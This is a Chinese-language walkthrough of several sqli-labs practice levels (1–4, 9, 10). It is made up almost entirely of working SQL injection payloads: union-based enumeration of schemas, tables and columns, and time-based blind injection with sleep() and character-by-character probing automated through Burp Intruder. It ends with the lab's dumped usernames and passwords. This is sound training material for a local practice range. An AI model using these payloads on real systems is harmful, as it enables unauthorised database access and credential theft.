访问靶场localhost/sqlilabs
1.第⼀关:less-1
进入第一关
首先要知道这⼀关的代码是这样的:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
1.首先判断是否存在注入并判断注入类型
常用的测试是否存在sql注入的方式(针对php)
1:数字型
id= x and 1=1 #⻚⾯返回正确
id= x and 1=2 #⻚⾯返回错误
执⾏逻辑:
select * from <表名> where id = x and 1=1
2:字符型
x' and '1'='1 #⻚⾯返回正确
x' and '1'='2 #⻚⾯返回错误
第⼀关的代码执⾏逻辑:
select * from <表名> where id = 'x' and '1'='1'
2.猜字段
通过测试可以得知本关存在sql字符型注入
考虑到这一关是字符型注入,猜字段的方法一般使用 ?id=1' order by 3 --+,–+的作用是将代码后面的LIMIT 0,1";给注释掉:
3正确,4错误,所以这就意味当前查看的这个表有三个字段
3.使用联合查询确认回显位
注:需要让左边的执行为假,这样才会执行右边的语句
?id=-1' union select 1,2,3 --+
可以确定回显位分别为2,3
4.爆出版本号
注:需mysql版本高于5.0
?id=-1' union select 1,database(),version() --+
mysql版本高于5.0版本之后就存在information_schema数据库,这个库中包含了所有的表命、列名等信
息;其中information_schema数据库中的tables表就存了所有表的名字,其中table_name对应表名,而
table_schema对应这个表在哪个库(information_schema数据库中还有⼀个叫columns的表,记录了所
有的表中列名的数据)。
5.查询数据库中的所有表格
爆出表名,因为回显限制的原因,所以通过mysql的“group_concat()”函数将所有的表名连接起来⼀起输 出,为了显示更精确,加where进行数据库限制:
?id=--1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema = 'security' --+
6.查询数据表中的所有字段
猜测可能数据在"security"数据库中的users表⾥,接下来爆出字段名,这时就需要查询informa_schema
数据库中的另⼀张表columns的信息了:
?id=-1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name = 'users' --+
7.查询表中的所有具体信息
得知列名之后就使⽤group_concat()进行查询具体信息了:
?id=-1' union select 1,2,group_concat(id,'-',username,'~',password) from users --+
获得所有账号密码 通关!!!
2.第二关:less-2
1.输入?id=1和?id=2发现有不同的页面回显
2.判断注入类型
从回显判断多⼀个' ,预测可能是数字型注入
输入代码
?id=1 and 1=1
?id=1 and 1=2
发现and 1=1 正常回显,and 1=2 回显错误,确定为数字型注入
3.确定列数
?id=1 group by 5
?id=1 group by 4
?id=1 group by 3
4.确定回显位
?id=-1 union select 1,2,3
回显位分别为2、3位
5.查询数据库名和版本
?id=-1 union select 1,database(),version()
6.爆出数据库名
?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata
7.爆出表名
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'
8.爆出列名
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema = 'security' and table_name = 'users'
9.爆出数据
?id=-1 union select 1,group_concat(id,'-',username,'~',password),3 from security.users
**大功告成**
3.第三关:less-3
1.判断注入方式
?id=1 and 1=1 //回显正常
?id=1 and 1=2 //回显正常
判断不属于数字型注入
输入
?id=1'
判断出为字符串型注入
闭合点为')
2.确定列数
?id=1') order by 4 --+ #回显错误
?id=1') order by 3 --+ #回显正常
3.确定回显位
?id=-1') union select 1,2,3 --+
回显位分别为2,3
4.爆出版本号
?id=-1') union select 1,database(),version() --+
5.爆出数据库名
?id=-1') union select 1,group_concat(schema_name),3 from information_schema.schemata --+
6.爆出表名
?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security' --+
7.爆出列名
?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
8.爆出数据
?id=-1') union select 1,group_concat(id,'-',username,'~',password),3 from security.users --+
成功收官!!!
4.第四关:less-4
1.判断注入方式
?id=1 and 1=1 //回显正常
?id=1 and 1=2 //回显正常
判断不属于数字型注入
分别输入
?id=1' and '1'='1 //回显正常
?id=1' and '1'='2 //回显正常
?id=1" and "1"="1 //回显正常
?id=1" and "1"="2 //回显错误
判断为字符型注入,闭合点为")
2.确定列数
?id=1") order by 4 --+ //回显错误
?id=1") order by 3 --+ //回显正常
确定列数为3
3.确定回显位
?id=-1") union select 1,2,3 --+
判断回显位分别为2,3
4.爆出版本号
?id=-1") union select 1,database(),version() --+
5.爆出数据库名
?id=-1") union select 1,group_concat(schema_name),3 from information_schema.schemata --+
6.爆出表名
?id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security' --+
7.爆出列名
?id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_schema = 'security' and table_name = 'users' --+
8.爆出数据
?id=-1") union select 1,group_concat(id,'-',username,'-',password),3 from security.users --+
9.第九关:less-9
1.确定回显信息
分别输入
?id=1 //回显正常
?id=2 //回显正常
?id=1' //回显正常
?id=2' //回显正常
?id=1" //回显正常
?id=2" //回显正常
页面回显信息完全不变,存在时间盲注
基于时间的盲注也叫做延时注入,数据交互完成以后目标网站没有错误和正确的页面回显;
那么我们可以考虑"绝招"---》延时注入 ,其利⽤条件较为苛刻,这种情况我们可以利用时间函数来判断数据有没有在⽬标数据中得到执行,当然也需要构造闭合......
注:使⽤条件:完全没有变化的页面!!!
# MySQL函数
sleep()函数 ⽹⻚延迟n秒后,输出结果
if()函数 条件判断函数
if(a,b,c) if判断句,a为条件,b、c为执⾏语句;如果a为真就执⾏b,a为假就执⾏c;
ascii()函数/ord()函数 将某个字符串转化为ascii值
length()函数 获取字符串的⻓度
substr()/substring()/mid()函数
此函数是⽤来截取字符串⼀部分。substr(column_name,start,[length]),length为可选项。
2.利用时间函数判断闭合点
?id=1 and sleep(4)--+ //时间函数未执行
?id=1' and sleep(4)--+ //时间函数执行
判断出闭合点为'
3.利用时间函数判断数据库长度并开始猜测数据库库名
?id=1' and if(length(database())>5,sleep(4),1) --+
sleep函数被执行,得知数据库长度>5
?id=1' and if(length(database())<10,sleep(4),1) --+
判断数据库长度在5和10之间(包括5和10)
利用二分法快速定位数据库长度
?id=1' and if(length(database())<7,sleep(4),1) --+
sleep函数未执行,判断数据库长度在7和10之间
?id=1' and if(length(database())=8,sleep(4),1) --+
由此得知数据库长度为8
接下来开始猜测数据库库名
# 使⽤ASCII码猜解数据库的名称
?id=1' and if((ascii(substr(database(),1,1))=115),sleep(4),0)--+ //第⼀位
?id=1' and if((ascii(substr(database(),2,1))=101),sleep(4),0)--+ //第⼆位
?id=1' and if((ascii(substr(database(),3,1))=99),sleep(4),0)--+ //第三位
数据过多,利用bp抓包工具进行测试,按Ctrl+i发送到intruder
设置好参数开始攻击
在列中打开响应完成
通过响应完成降序排列,得到数据
对照ASCII码表,得知数据库库名为security
4.判断当前数据表中字段的个数
?id=1' and sleep(4) order by 4--+ //未执行sleep函数
?id=1' and sleep(4) order by 3--+ //sleep函数被执行
判断出当前数据表中的字段个数为3
5.判断数据库中数据表的个数
?id=1' and if((select count(table_name)from information_schema.tables where table_schema='security')=3,sleep(4),1) --+ //sleep函数未执行
?id=1' and if((select count(table_name)from information_schema.tables where table_schema='security')=4,sleep(4),1) --+ //sleep函数被执行
由此判断出security数据库中有4张数据表
6.依次获取其表的长度与表的名称
因数据过多,利用BP抓包工具进行爆破工具
# 获取表的⻓度
?id=1' and if(length((select table_name from information_schema.tables whe
re table_schema='security' limit 0,1))=6,sleep(4),0)--+ //第⼀个表的⻓度
?id=1' and if(length((select table_name from information_schema.tables whe
re table_schema='security' limit 1,1))=8,sleep(4),0)--+ //第⼆个表的⻓度
?id=1' and if(length((select table_name from information_schema.tables whe
re table_schema='security' limit 2,1))=7,sleep(4),0)--+ //第三个表的⻓度
?id=1' and if(length((select table_name from information_schema.tables whe
re table_schema='security' limit 3,1))=5,sleep(4),0)--+ //第四个表的⻓度
# 获取表的名称
//查询第四个表的表名第⼀位
?id=1' and if(ascii(substr((select table_name from information_schema.tabl
es where table_schema='security' limit 3,1),1,1))=117,sleep(4),0)--+
//查询第四个表的表名第⼆位
?id=1' and if(ascii(substr((select table_name from information_schema.tabl
es where table_schema='security' limit 3,1),2,1))=115,sleep(4),0)--+
通过BP抓包得知四个数据表的表名长度分别为6,8,7,5
通过BP爆破得知四张表的表名分别为
emails,referers,uagents,users
7.判断字段长度与字段内容
# 判断字段⻓度
?id=1' and if(length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))=2,sleep(4),0)--+ //判断第⼀个字段⻓度
?id=1' and if(length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1))=8,sleep(4),0)--+ //判断第⼆个字段的⻓度
?id=1' and if(length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1))=8,sleep(4),0)--+ //判断第三个字段的⻓度
# 判断第⼆个字段名内容
?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),1,1))=117,sleep(4),0)--+ //第⼀位
?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),2,1))=115,sleep(4),0)--+ //第⼆位
数据过多,利用BP进行爆破攻击
通过BP爆破得知三个字段的长度分别为2,8,8
通过BP爆破得知三个字段名分别为id,username,password
8.判断数据表中数据的个数
?id=1' and if((select count(id)from security.users)=13,sleep(4),1) --+
使用BP爆破得知数据表中的数据个数为13个
9.爆出数据
?id=1' and if(ascii(substr((select id from security.users limit 0,1),1,1))=49,sleep(4),1)--+ #id字段的第一个数据的第一位
?id=1' and if(ascii(substr((select id from security.users limit 1,1),1,1))=50,sleep(4),1)--+ #id字段的第二个数据的第一位
?id=1' and if(ascii(substr((select id from security.users limit 9,1),2,1))=48,sleep(4),1)--+ #id字段的第十个数据的第二位
利用BP爆破得知
id分别为1-12,14(共13个)
?id=1' and if(ascii(substr((select username from users limit 0,1),1,1))=68,sleep(5),1) --+ #username字段的第一条数据的第一位
?id=1' and if(ascii(substr((select username from users limit 0,1),2,1))=117,sleep(5),1) --+ #username字段的第一条数据的第二位
?id=1' and if(ascii(substr((select username from users limit 1,1),3,1))=103,sleep(5),1) --+ #username字段的第二条数据的第三位
?id=1' and if(ascii(substr((select password from users limit 0,1),1,1))=68,sleep(5),1) --+ #password字段的第一条数据的第一位
?id=1' and if(ascii(substr((select password from users limit 0,1),2,1))=117,sleep(5),1) --+ #password字段的第一条数据的第二位
?id=1' and if(ascii(substr((select password from users limit 1,1),3,1))=117,sleep(5),1) --+ #password字段的第二条数据的第三位
将所得数据列成表格
1 Dumb Dumb
2 Angelina I-kill-you
3 Dummy p@ssword
4 secure crappy
5 stupid stupidity
6 superman genious
7 batman mob!le
8 admin admin
9 admin1 admin1
10 admin2 admin2
11 admin3 admin3
12 dhakkan dumbo
14 admin4 admin4
10.第十关:less-10
1.判断是否存在时间注入
?id=1 //回显正常
?id=2 //回显正常
?id=1' //回显正常
?id=2' //回显正常
?id=1" //回显正常
?id=2" //回显正常
页面完全无任何变化,判断存在时间注入
2.利用时间函数判断闭合点
?id=1 and sleep(4) --+ //sleep函数未执行
?id=1' and sleep(4) --+ //sleep函数未执行
?id=1" and sleep(4) --+ //sleep函数被执行
判断闭合点为"
3.判断数据库长度及名称
?id=1" and if(length(database())=8,sleep(4),1)--+ //sleep函数被执行
可利用BP爆破进行测试长度
?id=1" and if(ascii(substr(database(),1,1))=115,sleep(4),1)--+ //第一位
?id=1" and if(ascii(substr(database(),2,1))=101,sleep(4),1)--+ //第二位
?id=1" and if(ascii(substr(database(),3,1))=99,sleep(4),1)--+ //第三位
通过BP得知数据库库名为security
4.判断数据库中数据表的个数
?id=1" and if((select count(table_name)from information_schema.tables where table_schema='security')=3,sleep(4),1)--+ //sleep函数未执行
?id=1" and if((select count(table_name)from information_schema.tables where table_schema='security')=4,sleep(4),1)--+ //sleep函数被执行
由此判断当前security数据库中存在4张数据表
5.依次判断数据表的长度和名称
?id=1" and if(length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=6,sleep(4),1)--+ //第一张表的长度
?id=1" and if(length((select table_name from information_schema.tables where table_schema='security' limit 1,1))=8,sleep(4),1)--+ //第二张表的长度
?id=1" and if(length((select table_name from information_schema.tables where table_schema='security' limit 2,1))=7,sleep(4),1)--+ //第三张表的长度
?id=1" and if(length((select table_name from information_schema.tables where table_schema='security' limit 3,1))=5,sleep(4),1)--+ //第四章表的长度
通过时间注入得知四张表的长度分别为6,8,7,5
#判断每张数据表的名称
?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,sleep(4),1)--+ //第一张数据表的第一位
?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1))=109,sleep(4),1)--+ //第一张数据表的第二位
?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),3,1))=102,sleep(4),1)--+ //第二张数据表的第三位
最后得出四张表的名称分别为emails,referers,uagents,users
6.判断数据表中的字段个数,长度和名称
?id=1" and sleep(4) order by 4 --+ //sleep函数未执行
?id=1" and sleep(4) order by 3 --+ //sleep函数被执行
得知数据表中有三个字段
?id=1" and if(length((select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 0,1))=2,sleep(4),1) --+ //第一个字段的长度
?id=1" and if(length((select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 1,1))=8,sleep(4),1) --+ //第二个字段的长度
?id=1" and if(length((select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 2,1))=8,sleep(4),1) --+ //第三个字段的长度
得知数据表中的三个字段长度分别为2,8,8
?id=1" and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=105,sleep(4),0)--+ //第一个字段的第一位
?id=1" and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),2,1))=100,sleep(4),0)--+ //第一个字段的第二位
?id=1" and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),3,1))=101,sleep(4),0)--+ //第二个字段的第三位
得知数据表的三个字段分别为id,username,password